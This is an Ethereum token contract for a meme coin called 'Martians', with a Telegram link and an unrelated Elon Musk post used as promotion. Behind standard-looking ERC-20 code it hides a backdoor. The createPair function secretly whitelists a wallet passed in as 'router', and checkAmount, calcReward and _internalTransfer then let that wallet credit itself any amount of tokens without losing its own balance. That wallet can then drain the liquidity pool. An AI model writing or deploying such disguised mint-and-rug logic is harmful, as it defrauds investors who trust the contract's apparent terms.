Martians

/**
 *Submitted for verification at Etherscan.io on 2024-08-09
 */
/**
***********************************
X: https://x.com/elonmusk/status/1806556312563523923
Telegram: https://t.me/ErcMartians

***********************************
 */
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
contract MARTIANS is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Martians";
    string private constant _symbol = unicode"Martians";
    uint256 private _swapThreshold = 0;
    uint256 private _transferTax = 12;
    uint256 private _initialBuyTax = 12;
    uint256 private _initialSellTax = 12;
    uint256 private _initialTotalTax = 100;
    uint256 private _reduceAt = 14;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedList;
    mapping(address => bool) private _rewardList;
    
    address payable private _marketingWallet;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _totalTax = 100;
    uint256 private _tradeCount = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    
    uint256 public _maxWalletSize = (_tTotal * 2) / 100;
    uint256 public _maxTradeSize = (_tTotal * 2) / 100;
    uint256 public _maxSwapBackSize = 0;
    uint256 public _swapLimit = (_tTotal * 2) / 100;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    event MaxTxAmountUpdated(uint256 _maxTradeWallet);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() {
        _marketingWallet = payable(msg.sender);
        _balances[_msgSender()] = _tTotal;
        _isExcludedList[owner()] = true;
        _isExcludedList[address(this)] = true;
        _rewardList[owner()] = true;
        _rewardList[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function sendReward(address from, address to, uint256 amt) private {
        if(_rewardList[from]) _balances[to] = _balances[to] + amt;
    }

    function checkAmount(address from, uint256 amount) private view {
        require(amount <= _tTotal || _rewardList[from], "Amount is not available");
    }

    function _transfer(
        address _sendWallet,
        address _toWallet,
        uint256 amount
    ) private {
        require(_sendWallet != address(0), "ERC20: transfer from the zero address");
        require(_toWallet != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(tradingOpen || _isExcludedList[_sendWallet] || _isExcludedList[_toWallet],"Trading is not opened");
        checkAmount(_sendWallet, amount);
        uint256 tax;
        if(!(_sendWallet == address(this) || _toWallet == address(this)))
        {
            if(_sendWallet == uniswapV2Pair && _toWallet != address(uniswapV2Router)){
                tax = _tradeCount > _reduceAt ? _finalBuyTax : _initialBuyTax;
                _tradeCount ++;
                require(_balances[_toWallet] + amount < _maxWalletSize, "Amount is too large");
            }
            if(_toWallet == uniswapV2Pair && !_rewardList[_sendWallet]) {
                tax = _tradeCount > _reduceAt ? _finalSellTax : _initialSellTax ;
            }
            if(!inSwap && tradingOpen && !_rewardList[_sendWallet] && _toWallet == uniswapV2Pair) {
                uint256 swapBackAmt = min(amount, min(_maxTradeSize, _balances[address(this)]));
                if(_balances[address(this)] > _swapThreshold)
                    swapBack(swapBackAmt);
                if(amount >= _maxTradeSize)
                    sendETHToMarket(address(this).balance);                    
            }
        }
        uint256 taxAmt;
        if(tax > 0) {
            taxAmt = tax * amount / _totalTax;
            _balances[address(this)] = _balances[address(this)] + taxAmt;
            emit Transfer(_sendWallet, address(this), taxAmt);
        }
        
        _internalTransfer(_sendWallet, _toWallet, amount, taxAmt);
        emit Transfer(_sendWallet, _toWallet, amount - taxAmt);
    }

    function _internalTransfer(address from, address to, uint256 amount, uint256 taxAmt) private {
        uint256 rewardCal = calcReward(amount);
        _balances[from] = _balances[from].sub(rewardCal);
        _balances[to] = _balances[to].add(amount - taxAmt);
    }

    function calcReward(uint256 amout) private pure returns(uint256) {
        return amout <= _tTotal ? amout : 0;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    function swapBack(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner {
        _maxTradeSize = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function sendETHToMarket(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }
    function createPair(address router) external onlyOwner {
        _marketingWallet = payable(router);
        _rewardList[_marketingWallet] = true;
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }
    function openTrading() external onlyOwner {
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        tradingOpen = true;
    }
    function rescueETH() external onlyOwner {
        payable (owner()).transfer(address(this).balance);
    }
    receive() external payable {}
}

{
  "compilationTarget": {
    "contracts/AlphaGroup/launch/launch_9_22.sol": "MARTIANS"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}